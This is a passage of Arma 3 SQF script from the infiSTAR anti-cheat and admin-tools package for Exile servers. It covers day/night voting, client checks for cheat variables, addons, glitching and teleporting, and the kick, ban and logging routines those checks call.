- if(_cntday > _cntnight)then
- {
- _rateDay = if(_cntday isEqualTo 0)then{0}else{_cntday / _cntAll};
- if(_rateDay >= VOTETIME_MRV)then
- {
- _date set [3,11];
- _changeTime = true;
- };
- }
- else
- {
- _rateNight = if(_cntnight isEqualTo 0)then{0}else{_cntnight / _cntAll};
- if(_rateNight >= VOTETIME_MRV)then
- {
- _date set [3,23];
- _changeTime = true;
- };
- };
- };
- if(_changeTime)then
- {
- setDate _date;
- VOTETIME_ARR = [];
- VOTETIME_LVT = time;
- };
- _txt = format['%1 of %2 (%3) Players voted - %4 for Day and %5 for Night',_cntVoted,_cntAll,_rateAllShown,_cntday,_cntnight];
- _msg = ['<t size=''0.55'' font =''OrbitronLight'' color=''#00B1CC''>'+(_txt)+'</t>',safeZoneXAbs/safeZoneWAbs/4,SafeZoneY+0.02,10,0,0,3079];
- [_msg,-2] call fnc_serverMassMessage;
- }
- else
- {
- _txt = format['%1 of %2 (%3) Players voted (in chat type /vote day or /vote night)',_cntVoted,_cntAll,_rateAllShown];
- _msg = ['<t size=''0.55'' font =''OrbitronLight'' color=''#00B1CC''>'+(_txt)+'</t>',safeZoneXAbs/safeZoneWAbs/4,SafeZoneY+0.02,10,0,0,3079];
- [_msg,-2] call fnc_serverMassMessage;
- };
- };
- };
- }
- else
- {
- _txt = format['Wait %1s more until next day/night vote can be made',round((VOTETIME_VCT + VOTETIME_LVT) - time)];
- _msg = ['<t size=''0.55'' font =''OrbitronLight'' color=''#00B1CC''>'+(_txt)+'</t>',safeZoneXAbs/safeZoneWAbs/4,SafeZoneY+0.02,10,0,0,3079];
- [_msg,-2] call fnc_serverMassMessage;
- };
- ";
- diag_log format['<infiSTAR.de> %1 - VoteTimeServer compiled',time];
- };
- _tmpstartAsNormal = _startAsNormal;
- _startAsNormal = [];
- {
- if(count _x > 5)then
- {
- _startAsNormal pushBackUnique _x;
- };
- } forEach _tmpstartAsNormal;
- diag_log format['<infiSTAR.de> %1 - Thread BEFORE MAIN: adding to main string..',time];
- _A3AHstring = "
- diag_log format['<infiSTAR.de> %1 - Thread BEFORE MAIN: still compiling...',time];
- _admins = "+str _admins+";"+_adminsA+" = _admins;if!("+str _startAsNormal+" isEqualTo [])then{{"+_adminsA+" = "+_adminsA+" - [_x];} forEach "+str _startAsNormal+";};
- if(isNil '"+_AH_HackLogArrayRND+"')then{"+_AH_HackLogArrayRND+" = [];};
- if(isNil '"+_AH_SurvLogArrayRND+"')then{"+_AH_SurvLogArrayRND+" = [];};
- if(isNil '"+_AH_AdmiLogArrayRND+"')then{"+_AH_AdmiLogArrayRND+" = [];};
- fnc_variable_to_admins = compileFinal '
- _fn_send = {
- {
- _owner = _x call FNC_OWNER_BY_UID;
- if!(_owner isEqualTo -10)then
- {
- _owner publicVariableClient _this;
- };
- } forEach "+str _admins+";
- };
- if(typeName _this isEqualTo ''STRING'')then
- {
- _this call _fn_send;
- }
- else
- {
- {_x call _fn_send;} forEach _this;
- };
- ';
- _FN_INJECT_ON_CLIENT = {
- "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
- _blacklistedAdminVariables = "+str _blacklistedAdminVariables+";
- _badIDDsToKickPre = "+str _badIDDsToKick+";
- _badIDDsToKick = [];
- {_badIDDsToKick pushBackUnique format['Display #%1',_x];} forEach _badIDDsToKickPre;
- _badIDDsToClosePre = "+str _badIDDsToClose+";
- _badIDDsToClose = [];
- {_badIDDsToClose pushBackUnique format['Display #%1',_x];} forEach _badIDDsToClosePre;
- "; if(_UDW)then{ _A3AHstring = _A3AHstring + "
- _allowedIddsPre = "+str _allowedIDDs+";
- _allowedIDDs = ['No display'];
- {_allowedIDDs pushBackUnique format['Display #%1',_x];} forEach _allowedIddsPre;
- "; }; _A3AHstring = _A3AHstring + "
- "; }; _A3AHstring = _A3AHstring + "
- _49code = {
- "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
- if(_isNormal)then
- {
- if(_vct < diag_tickTime)then
- {
- _vct = diag_tickTime + 6;
- if(!_admin)then
- {
- {
- _av = missionNamespace getVariable _x;
- if(!isNil '_av')then
- {
- _log = format['AdminVariable in missionNamespace: %1 - %2',_x,_av];
- [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- } forEach _blacklistedAdminVariables;
- };
- "; if(_useBlacklistedVariableCheck)then{ _A3AHstring = _A3AHstring + "
- {
- _bv = nil;_bv = missionNamespace getVariable _x;
- if(!isNil '_bv')then
- {
- _log = format['BadVariable in missionNamespace: %1 - %2',_x,_bv];
- [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- _bv = nil;_bv = uiNamespace getVariable _x;
- if(!isNil '_bv')then
- {
- _log = format['BadVariable in uiNamespace: %1 - %2 (these variables can be set in the editor)',_x,_bv];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- _bv = nil;_bv = profileNamespace getVariable _x;
- if(!isNil '_bv')then
- {
- _log = format['BadVariable in profileNamespace: %1 - %2',_x,_bv];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- _bv = nil;_bv = parsingNamespace getVariable _x;
- if(!isNil '_bv')then
- {
- _log = format['BadVariable in parsingNamespace: %1 - %2',_x,_bv];
- [_name,_puid,'TMPBAN',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- _bv = nil;_bv = player getVariable _x;
- if(!isNil '_bv')then
- {
- _log = format['BadVariable in objectNamespace (player): %1 - %2',_x,_bv];
- [_name,_puid,'TMPBAN',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- } forEach _blacklistedVariables;
- "; }; _A3AHstring = _A3AHstring + "
- {
- _magName = _x select 0;
- _magSize = _x select 1;
- _config = configFile >> 'cfgMagazines' >> _magName;
- if(isClass _config)then
- {
- _max = getNumber(_config >> 'count');
- if(_max > 0)then
- {
- if(_magSize > (_max+10))exitWith
- {
- _log = format['Maximum magazine size is %1, player value was: %2 - magazine: %3',_max,_magSize,_magName];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- };
- };
- } forEach (magazinesAmmoFull player);
- };
- if(_vctd < diag_tickTime)then
- {
- _vctd = diag_tickTime + 30;
- {
- _index = _white pushBackUnique _x;
- if(_index > -1)then
- {
- [
- [
- _name,
- _puid,
- _AHKickLog,
- _AHKickOFF,
- _x
- ],
- _fnc_finddeeper
- ] execFSM 'call.fsm';
- };
- } forEach (allVariables missionNamespace);
- };
- };
- if(_vctoo < diag_tickTime)then
- {
- _vctoo = diag_tickTime + 60;
- {
- _building = _x;
- {
- _index = _white2 pushBackUnique _x;
- if(_index > -1)then
- {
- [
- [
- _name,
- _puid,
- _AHKickLog,
- _AHKickOFF,
- _x,
- _building
- ],
- _fnc_finddeeperObj
- ] execFSM 'call.fsm';
- };
- } forEach (allVariables _building);
- } forEach _buildings;
- };
- "; if(_check_doors_n_gates)then{ _A3AHstring = _A3AHstring + "
- {
- _lockstate = _x getvariable ['ExileIsLocked',9];
- _animationPhase1 = _x animationPhase 'DoorRotation';
- _animationPhase2 = _x animationPhase 'DoorRotationLeft';
- _animationPhase3 = _x animationPhase 'DoorRotationRight';
- if((_lockstate isEqualTo -1)&&(1 in [_animationPhase1,_animationPhase2,_animationPhase3]))exitWith
- {
- _x animate ['DoorRotation',0];
- _x animate ['DoorRotationLeft',0];
- _x animate ['DoorRotationRight',0];
- };
- } forEach (nearestObjects [player,_checkthesedoorgates, 12]);
- "; }; _A3AHstring = _A3AHstring + "
- "; }; _A3AHstring = _A3AHstring + "
- _display49 = findDisplay 49;
- if(isNull _display49)then
- {
- _escapefound = false;
- }
- else
- {
- "; if(_disconnect_dupe_check && !_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
- if(!_escapefound)then
- {
- _escapefound = true;
- if(!_DCHECKrunning)then
- {
- _DCHECKrunning = true;
- "+_antidupePVResVar+" = nil;
- [_name,_puid,'DCHECK'] call _AHKickLog;
- _startDCHECK = time + 5;
- };
- };
- if(_DCHECKrunning)then
- {
- if(time > _startDCHECK || !isNil '"+_antidupePVResVar+"')then
- {
- if(isNil '"+_antidupePVResVar+"')then
- {
- _log = format['may have tried to disconnect dupe @%1',mapGridPosition player];
- [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
- (findDisplay 49) closeDisplay 0;
- };
- _DCHECKrunning = false;
- };
- };
- "; }; _A3AHstring = _A3AHstring + "
- "; if(!_HIDE_FROM_PLAYERS)then{ _A3AHstring = _A3AHstring + "
- if!(serverCommandAvailable '#logout')then
- {
- (_display49 displayCtrl 2) ctrlEnable false;
- (_display49 displayCtrl 2) ctrlSetText "+str _ESCMNUTOP+";
- (_display49 displayCtrl 103) ctrlEnable false;
- (_display49 displayCtrl 103) ctrlSetText "+str _ESCMNUBOT+";
- (_display49 displayCtrl 523) ctrlSetText _name;
- (_display49 displayCtrl 109) ctrlSetText _puid;
- (_display49 displayCtrl 122) ctrlEnable false;
- (_display49 displayCtrl 122) ctrlShow false;
- };
- "; if(!_BRIEFING_MSG)then{ _A3AHstring = _A3AHstring + "
- (_display49 displayCtrl 120) ctrlSetText 'infiSTAR.de AntiHack & AdminsTools - [Author: infiSTAR, Contact: infiSTAR23@gmail.com]';
- "; }else{ _A3AHstring = _A3AHstring + "
- (_display49 displayCtrl 115025) ctrlSetText 'AntiHack & AdminsTools';
- (_display49 displayCtrl 115035) ctrlSetText 'by infiSTAR.de';
- "; }; _A3AHstring = _A3AHstring + "
- "; }; _A3AHstring = _A3AHstring + "
- };
- if(!isNull (findDisplay 24))then
- {
- {
- if(!isNull ((findDisplay 24) displayCtrl _x))then
- {
- _log = format['MenuBasedHack :: 24 :: %1',_x];
- [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- } forEach [2406,2407,2408,2409,2410,2411,2412,2443,2442,2441];
- "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
- _idKeydown24 = 9001;
- _randomNumber = (floor(random 8))+1;
- for '_i' from 0 to _randomNumber do
- {
- _idKeydown24 = (findDisplay 24) displayAddEventHandler ['KeyDown',{false}];
- };
- if!(_idKeydown24 isEqualTo _randomNumber)then
- {
- if(_idKeydown24 isEqualTo -1)exitWith{};
- for '_i' from 0 to 3 do{(findDisplay 24) closeDisplay 0;};
- };
- "; }; _A3AHstring = _A3AHstring + "
- if(!isNull (findDisplay 24))then
- {
- (findDisplay 24) displayRemoveAllEventHandlers 'KeyDown';
- _chat = (findDisplay 24) displayCtrl 101;
- _txt = ctrlText _chat;
- if(_txt != '')then
- {
- _txt = toLower _txt;
- if(_admin)then
- {
- if(_txt isEqualTo '!admin')exitWith
- {
- waitUntil {(findDisplay 24) closeDisplay 0;isNull findDisplay 24};
- [_name,_puid,'AC',toArray(_txt)] call _AHKickLog;
- (findDisplay 46)closeDisplay 0;
- };
- };
- {
- _x0 = _x select 0;
- if(_txt isEqualTo _x0)exitWith
- {
- _x1 = _x select 1;
- waitUntil {(findDisplay 24) closeDisplay 0;isNull findDisplay 24};
- [parseText format['<t color=''#2784D6'' size=''1'' font =''OrbitronMedium''>%1</t>',_x1],0,0,5,0] spawn bis_fnc_dynamictext;
- systemChat _x1;
- };
- } forEach "+str _chatCommandsL+";
- {
- _x0 = _x select 0;
- if(_txt find _x0 != -1)exitWith
- {
- _x1 = _x select 1;
- waitUntil {(findDisplay 24) closeDisplay 0;isNull findDisplay 24};
- [parseText format['<t color=''#2784D6'' size=''1'' font =''OrbitronMedium''>%1</t>',_x1],0,0,5,0] spawn bis_fnc_dynamictext;
- systemChat _x1;
- };
- } forEach "+str _chatCommandsPL+";
- {
- if(_txt find _x > -1)exitWith{
- waitUntil {(findDisplay 24) closeDisplay 0;isNull findDisplay 24};
- _log = format['BadText on Chat: %1 [%2]',_txt,_x];
- [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
- };
- } forEach "+str _badChat+";
- call {
- "; if(_DayNightVote)then{ _A3AHstring = _A3AHstring + "
- if((_txt select [0,8] isEqualTo 'vote day')||(_txt select [1,8] isEqualTo 'vote day'))exitWith
- {
- waitUntil {(findDisplay 24) closeDisplay 0;isNull findDisplay 24};
- [_name,_puid,'VOTE',toArray 'DAY'] call _AHKickLog;
- };
- if((_txt select [0,10] isEqualTo 'vote night')||(_txt select [1,10] isEqualTo 'vote night'))exitWith
- {
- waitUntil {(findDisplay 24) closeDisplay 0;isNull findDisplay 24};
- [_name,_puid,'VOTE',toArray 'NIGHT'] call _AHKickLog;
- };
- "; }; _A3AHstring = _A3AHstring + "
- if(_txt isEqualTo '!chat')exitWith
- {
- waitUntil {(findDisplay 24) closeDisplay 0;isNull findDisplay 24};
- if(!isNil'fnc_chat_send')then{if(isNull (findDisplay -1340))then{createdialog 'infiSTAR_CHAT';};};
- };
- _arr = ['fixgear','fixme','fixuniform','fixvest'];
- _txt1 = _txt select [1,15];
- if(_txt in _arr || _txt1 in _arr)exitWith
- {
- waitUntil {(findDisplay 24) closeDisplay 0;isNull findDisplay 24};
- ['',''] spawn fnc_check_uniform_n_vest;
- };
- };
- };
- };
- };
- "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
- onEachFrame {};
- onMapSingleClick '';
- "; if(_checkFilePatchingEnabled)then{ _A3AHstring = _A3AHstring + "
- if(isFilePatchingEnabled)then
- {
- _log = format['Filepatching enabled.. player had game running for %1 seconds. Tempbanned for 10 minutes!',diag_tickTime];
- [_name,_puid,'TMPBAN',toArray(_log),time + 600] call _AHKickLog;
- [] call _AHKickOFF;
- };
- "; }; _A3AHstring = _A3AHstring + "
- inGameUISetEventHandler ['PrevAction','false'];
- inGameUISetEventHandler ['NextAction','false'];
- inGameUISetEventHandler ['Action','false'];
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_stopSafeGlitchAndCorpseDupe)then{ _A3AHstring = _A3AHstring + "
- player removeAllEventHandlers 'InventoryOpened';
- player addEventHandler ['InventoryOpened', { _this call fn_onInventoryOpened }];
- "; }; _A3AHstring = _A3AHstring + "
- player removeAllEventhandlers 'Take';
- player addEventHandler ['Take', { _this call fn_onPlayerTake }];
- uiSleep .1;
- if(rating player < 999999)then{player addRating 9999999;};
- if!(player getVariable["+str _variable1+",false])then{player setVariable["+str _variable1+",true,true];};
- };
- _bigInputArray =
- [
- [
- [_name,_uid,_AHKickOFF,_AHKickLog,_admins,_admin,_isNormal],
- {
- scriptName '1';
- "+_AH_RunCheck+" = time;
- _name = _this select 0;
- _puid = _this select 1;
- _AHKickOFF = _this select 2;
- _AHKickLog = _this select 3;
- _admins = _this select 4;
- _admin = _this select 5;
- _isNormal = _this select 6;
- _pid = profileNamespace getVariable ['ExilePlayerUID', _puid];
- if!(_pid isEqualTo _puid)then
- {
- _log = format['Player changed Steam Accounts! old PlayerUID: %1',_pid];
- [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
- };
- _ExilePlayerCnt = profileNamespace getVariable ['ExilePlayerCnt',0];
- if(_ExilePlayerCnt > 0)then
- {
- _log = format['Banned %1 times before..',_ExilePlayerCnt];
- if(_ExilePlayerCnt > 10)exitWith {
- [_name,_puid,'HLOG',toArray(_log)] call _AHKickLog;
- };
- [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
- };
- _pidi = profileNamespace getVariable ['ExilePlayerUIDI', _puid];
- if!(_pidi isEqualTo _puid)then
- {
- _log = format['Player changed Steam Accounts! old infiSTAR PlayerUID: %1',_pidi];
- [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
- profileNamespace setVariable ['ExilePlayerUIDI', _puid];
- saveprofileNamespace;
- };
- _dbcode = '';
- if(!_admin)then
- {
- _var = 'rscdebugconsole_expression';
- _dbcode = profileNamespace getVariable [_var,''];
- profileNamespace setVariable [_var,''];
- saveprofileNamespace;
- };
- [_name,_puid,'CLIENT_PING',netId player,toArray(profileNameSteam),_pid,_pidi,toArray(_dbcode)] call _AHKickLog;
- if(!isNull (findDisplay 316000))exitWith
- {
- _log = format['Found Debug Console: %1',ctrlText ((findDisplay 316000) displayCtrl 12284)];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- (findDisplay 46)closeDisplay 0;
- };
- ['"+_AHKickOFF+"',[_AHKickOFF] call fnc_CompilableString] call FN_infiSTAR_F;
- if(isNil'"+_AHKickOFF+"')exitWith
- {
- _log = 'KICK FUNCTION IS NIL!';
- [_name,_puid,'SLOG_SKICK',toArray(_log)] call _AHKickLog;
- (findDisplay 46)closeDisplay 0;
- };
- if!((str _AHKickOFF) isEqualTo (str "+_AHKickOFF+"))exitWith
- {
- _log = 'KICK FUNCTION IS BROKEN!';
- [_name,_puid,'SLOG_SKICK',toArray(_log)] call _AHKickLog;
- (findDisplay 46)closeDisplay 0;
- };
- ['"+_AHKickLog+"',[_AHKickLog] call fnc_CompilableString] call FN_infiSTAR_F;
- if(isNil'"+_AHKickLog+"')exitWith
- {
- _log = 'KICKLOG FUNCTION IS NILLED!';
- [_name,_puid,'SLOG_SKICK',toArray(_log)] call _AHKickLog;
- (findDisplay 46)closeDisplay 0;
- };
- if!((str _AHKickLog) isEqualTo (str "+_AHKickLog+"))exitWith
- {
- _log = 'KICKLOG FUNCTION IS BROKEN!';
- [_name,_puid,'SLOG_SKICK',toArray(_log)] call _AHKickLog;
- (findDisplay 46)closeDisplay 0;
- };
- "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
- if(_isNormal)then {
- _badClasses = ['a3_m3editor','devcon','life_server','loki_lost_key','pooploop','rscrazzler','rsclistboxvg','vgdialog'];
- _activatedAddons = [];
- {_activatedAddons pushBack (toLower _x)} forEach activatedAddons;
- {
- _addon = _x;
- {
- if(_addon find (toLower _x) != -1)then
- {
- _log = format['Bad Addon found: %1 (%2)',_addon,_x];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- } forEach _badClasses;
- } forEach _activatedAddons;
- _cfgPatches = configFile >> 'CfgPatches';
- for '_i' from 0 to (count _cfgPatches - 1) do
- {
- _patchClass = _cfgPatches select _i;
- if(isClass _patchClass && {(toLower configName _patchClass) in _badClasses})then
- {
- _log = format['Bad Addon found in CfgPatches: %1',configName _patchClass];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- };
- };
- "; }; _A3AHstring = _A3AHstring + "
- if!(_puid isEqualTo (getPlayerUID player))exitWith
- {
- _log = format['Server PUID not equal to player PUID (%1 != %2) (kicked)',_puid,getPlayerUID player];
- [_name,_puid,'SLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- }
- ],
- [
- [_name,_uid,_AHKickOFF,_AHKickLog,_admin,_isNormal,_49code,_blacklistedAdminVariables,"+str _blacklistedVariables+"],
- {
- waitUntil{getClientStateNumber >= 10};
- waituntil{!isNull findDisplay 46};
- scriptName ""<spawn> "";
- disableSerialization;
- _name = _this select 0;
- _puid = _this select 1;
- _AHKickOFF = _this select 2;
- _AHKickLog = _this select 3;
- _admin = _this select 4;
- _isNormal = _this select 5;
- _escapefound = false;
- _startDCHECK = 0;
- _DCHECKrunning = false;
- _keyUpfnc = {
- _keyCode = _this select 1;
- _handle = false;
- if(_keyCode in (actionKeys 'TacticalView'))exitWith{true};
- if(_keyCode in (actionKeys 'User3'))exitWith{if(!isNil'fnc_chat_send')then{if(isNull (findDisplay -1340))then{createdialog 'infiSTAR_CHAT';};};true};
- if(_keyCode isEqualTo 0x3D)exitWith{if(!isNil'fnc_workplace')then{[] call fnc_workplace;};true};
- _handle
- };
- (finddisplay 46) displayAddEventHandler ['KeyUp',_keyUpfnc];
- _keyDownfnc = {
- _keyCode = _this select 1;
- _handle = false;
- if(_keyCode in (actionKeys 'TacticalView'))exitWith{true};
- _handle
- };
- (finddisplay 46) displayAddEventHandler ['KeyDown',_keyDownfnc];
- "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
- _vct = 5;
- _vctd = diag_tickTime + 30;
- _white = [
- 'bis_fnc_modulemptypegroundsupportbase','bis_fnc_spawngroup','bis_fnc_moduleammo','bis_fnc_moduletracers','bis_fnc_spawnenemy','bis_fnc_createmenu',
- 'avs_fnc_rearmturret','av8b_loadout_service','exileclient_system_trading_network_purchasevehicleresponse','rhs_fnc_sight_kobra'
- ];
- {
- if(isNil _x)then
- {
- [_x,'no'] call FN_infiSTAR_F;
- };
- } forEach _white;
- _white append "+str _allRandomGenVars+";
- _blacklistedAdminVariables = _this select 7;
- _blacklistedVariables = _this select 8;
- _fnc_finddeeper =
- {
- params[['_name',''],['_puid',''],['_AHKickLog',{(findDisplay 46)closeDisplay 0;}],['_AHKickOFF',{(findDisplay 46)closeDisplay 0;}],['_var','']];
- if(_var isEqualTo '')exitWith{};
- _lvar = toLower _var;
- _bv = missionNamespace getVariable _var;
- if(!isNil '_bv')then
- {
- _strbv = toLower(str(_bv));
- _tofindvar = "+str _tofindvar+";
- if!(_tofindvar isEqualTo [])then
- {
- {
- if(_lvar find _x != -1)then
- {
- _log = format['BadVariable in missionNamespace: [%1] found [%2] varcontent [%3]',_var,_x,_strbv];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- } forEach _tofindvar;
- };
- _tofindcontent = "+str _tofindcontent+";
- if!(_tofindcontent isEqualTo [])then
- {
- {
- if(_strbv find _x != -1)then
- {
- _log = format['BadVariableContent in missionNamespace: [%1] found [%2] varcontent [%3]',_var,_x,_strbv];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- } forEach _tofindcontent;
- };
- _tofindboth = "+str _tofindboth+";
- if!(_tofindboth isEqualTo [])then
- {
- {
- if(_lvar find _x != -1)then
- {
- _log = format['BadVariable in missionNamespace: [%1] found [%2] varcontent [%3]',_var,_x,_strbv];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- }
- else
- {
- if(_strbv find _x != -1)then
- {
- _log = format['BadVariableContent in missionNamespace: [%1] found [%2] varcontent [%3]',_var,_x,_strbv];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- };
- } forEach _tofindboth;
- };
- };
- };
- _fnc_finddeeperObj =
- {
- params[['_name',''],['_puid',''],['_AHKickLog',{(findDisplay 46)closeDisplay 0;}],['_AHKickOFF',{(findDisplay 46)closeDisplay 0;}],['_var',''],['_obj',objNull]];
- if(_var isEqualTo '')exitWith{};
- if(isNull _obj)exitWith{};
- _lvar = toLower _var;
- _bv = _obj getVariable _var;
- if(!isNil '_bv')then
- {
- _strbv = toLower(str(_bv));
- _findObjectVar = "+str _findObjectVar+";
- if!(_findObjectVar isEqualTo [])then
- {
- {
- if(_lvar find _x != -1)then
- {
- _log = format['BadVariable on object: [%1] found [%2] in [%3] varcontent [%4]',_obj,_var,_x,_strbv];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- } forEach _findObjectVar;
- };
- _findObjectVarContent = "+str _findObjectVarContent+";
- if!(_findObjectVarContent isEqualTo [])then
- {
- {
- if(_strbv find _x != -1)then
- {
- _log = format['BadVariableContent on object: [%1] found [%2] in [%3] varcontent [%4]',_obj,_var,_x,_strbv];
- [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- } forEach _findObjectVarContent;
- };
- };
- };
- _white2 = [];
- _vctoo = diag_tickTime + 180;
- _posbuildings = [worldSize/2,worldSize/2];
- _buildings = _posbuildings nearObjects ['Building',worldSize];
- "; if(_check_doors_n_gates)then{ _A3AHstring = _A3AHstring + "
- _checkthesedoorgates =
- [
- 'Exile_Construction_ConcreteDoor_Static','Exile_Construction_ConcreteGate_Static',
- 'Exile_Construction_WoodDoor_Static','Exile_Construction_WoodDoor_Reinforced_Static',
- 'Exile_Construction_WoodGate_Static','Exile_Construction_WoodGate_Reinforced_Static'
- ];
- "; }; _A3AHstring = _A3AHstring + "
- "; }; _A3AHstring = _A3AHstring + "
- _myvest = '';
- _myuniform = '';
- if(_admin)then{profileNamespace setVariable ['ExilePlayerCnt',nil];saveprofileNamespace;};
- while{true}do{call (_this select 6);};
- }
- ]
- ];
- "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
- "; if((_wall_look)||(_wall_glitch_object)||(_wall_glitch_vehicle))then{ _A3AHstring = _A3AHstring + "
- _glitchcode = {
- if((alive player)&&(player isEqualTo (vehicle player)))then
- {
- "; if(_wall_look)then{ _A3AHstring = _A3AHstring + "
- _intersectsWith = [];
- _eyeDir = eyedirection player;
- _curWep = currentweapon player;
- _wepDir = player weapondirection _curWep;
- _vectorDiff = _eyeDir vectorDiff _wepDir;
- if((inputAction 'EvasiveLeft' > 0)||(inputAction 'EvasiveRight' > 0)||(_eyeDir select 2 > 0.5)||((abs(_vectorDiff select 0) > 0.55)&&!(_curWep isEqualTo '')))then
- {
- _eyePos = eyepos player;
- _dir_weapon_r = (((_wepDir) select 0) atan2 ((_wepDir) select 1))+45;
- _dir_weapon_l = (((_wepDir) select 0) atan2 ((_wepDir) select 1))-25;
- _intersectsWith = lineintersectswith [[(_eyePos select 0) + (_eyeDir select 0)*_dis_head,(_eyePos select 1) + (_eyeDir select 1)*_dis_head,(_eyePos select 2) + (_eyeDir select 2)*_dis_head], _eyePos, player];
- _intersectsWith append lineintersectswith [[(_eyePos select 0) + _dis_weapon_r*sin _dir_weapon_r,(_eyePos select 1) + _dis_weapon_r*cos _dir_weapon_r,(_eyePos select 2)], _eyePos, player];
- _intersectsWith append lineintersectswith [[(_eyePos select 0) + _dis_weapon_l*sin _dir_weapon_l,(_eyePos select 1) + _dis_weapon_l*cos _dir_weapon_l,(_eyePos select 2)], _eyePos, player];
- _plrPosVisual = ATLtoASL (player modelToWorldVisual [0,0,0]);
- _intersectsWith append lineIntersectsWith [_eyePos, _plrPosVisual];
- };
- if(_intersectsWith isEqualTo [])then
- {
- if(_faded)then{_faded=false;TitleText ['','PLAIN DOWN'];};
- }
- else
- {
- {
- if(_x isKindOf 'Exile_Construction_Abstract_Static')exitWith
- {
- _faded = true;
- player switchMove '';
- if(call _fn_check_allowed_build)then
- {
- TitleText ['!!!\nDO NOT LOOK THROUGH WALLS\n!!!\n\n\n\nAntiHack by infiSTAR.de','BLACK FADED'];
- if(time > _fadeTimer)then
- {
- _fadeTimer = time + 15;
- _log = format['WALL LOOK CHECK (looked through %1) - @%2 %3',typeOf _x,mapGridPosition _x,getPosATL _x];
- [_name,_puid,'SLOG_GLITCH',toArray(_log)] call _AHKickLog;
- };
- };
- };
- } forEach _intersectsWith;
- };
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_wall_glitch_object)then{ _A3AHstring = _A3AHstring + "
- if(call _fn_check_allowed_build)then
- {
- _posASL = getPosASL player;
- _lineIntersectsObjs = lineIntersectsObjs [_posASL, _posASL];
- _eyePos = eyePos player;
- _lineIntersectsObjs append lineIntersectsObjs [_eyePos, _eyePos];
- _lineIntersectsObjs append lineIntersectsObjs [getPos player, getPos player vectorAdd (player selectionPosition 'legs')];
- {
- if(_x isKindOf 'Exile_Construction_Abstract_Static')then
- {
- _type = typeOf _x;
- _floor = true;
- if(call _fn_check_object)then
- {
- if(_floor)then
- {
- cutText ['Do not glitch through floors!', 'PLAIN'];
- if(time > _floorGlitchReported)then
- {
- _floorGlitchReported = time + 3;
- _log = format['FLOOR GLITCH ATTEMPT (attempted breach of %1) - @%2 %3',_type,mapGridPosition _x,getPos _x];
- [_name,_puid,'SLOG_GLITCH',toArray(_log)] call _AHKickLog;
- };
- }
- else
- {
- cutText ['Do not glitch through walls!', 'PLAIN'];
- if(time > _wallGlitchReported)then
- {
- _wallGlitchReported = time + 3;
- _log = format['WALL GLITCH ATTEMPT (attempted breach of %1) - @%2 %3',_type,mapGridPosition _x,getPos _x];
- call _fn_punish_glitch;
- };
- player switchMove '';
- call _fn_push_back;
- };
- };
- };
- } forEach _lineIntersectsObjs;
- };
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_wall_glitch_vehicle)then{ _A3AHstring = _A3AHstring + "
- player removeAllEventHandlers 'GetOutMan';
- player addEventHandler ['GetOutMan', _GetOutMan];
- "; }; _A3AHstring = _A3AHstring + "
- };
- uiSleep .15;
- };
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_UAT)then{ _A3AHstring = _A3AHstring + "
- _atLoopCode = {
- if(isTouchingGround player)then{_touchedground = true;};
- _curVehicle = vehicle player;
- _type = typeOf _curVehicle;
- _curnetId = netId _curVehicle;
- if(isNull objectParent player)then
- {
- if!(_type isEqualTo 'Exile_Unit_GhostPlayer')then
- {
- if!(_curnetId select [0,2] isEqualTo '2:')then
- {
- _log = format['ANTI-TP FOUND not local PlayerObject: %1 with netId %2 @%3',_type,_curnetId,_curVehicle call _fn_getPos];
- deleteVehicle _curVehicle;
- [_name,_puid,'TMPBAN',toArray(_log),time + 600] call _AHKickLog;
- [] call _AHKickOFF;
- };
- };
- }
- else
- {
- if(_curnetId isEqualTo '0:0')then
- {
- _log = format['ANTI-TP FOUND LocalVehicle: %1 with netId 0:0 @%2',_type,_curVehicle call _fn_getPos];
- deleteVehicle _curVehicle;
- [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
- [] call _AHKickOFF;
- };
- };
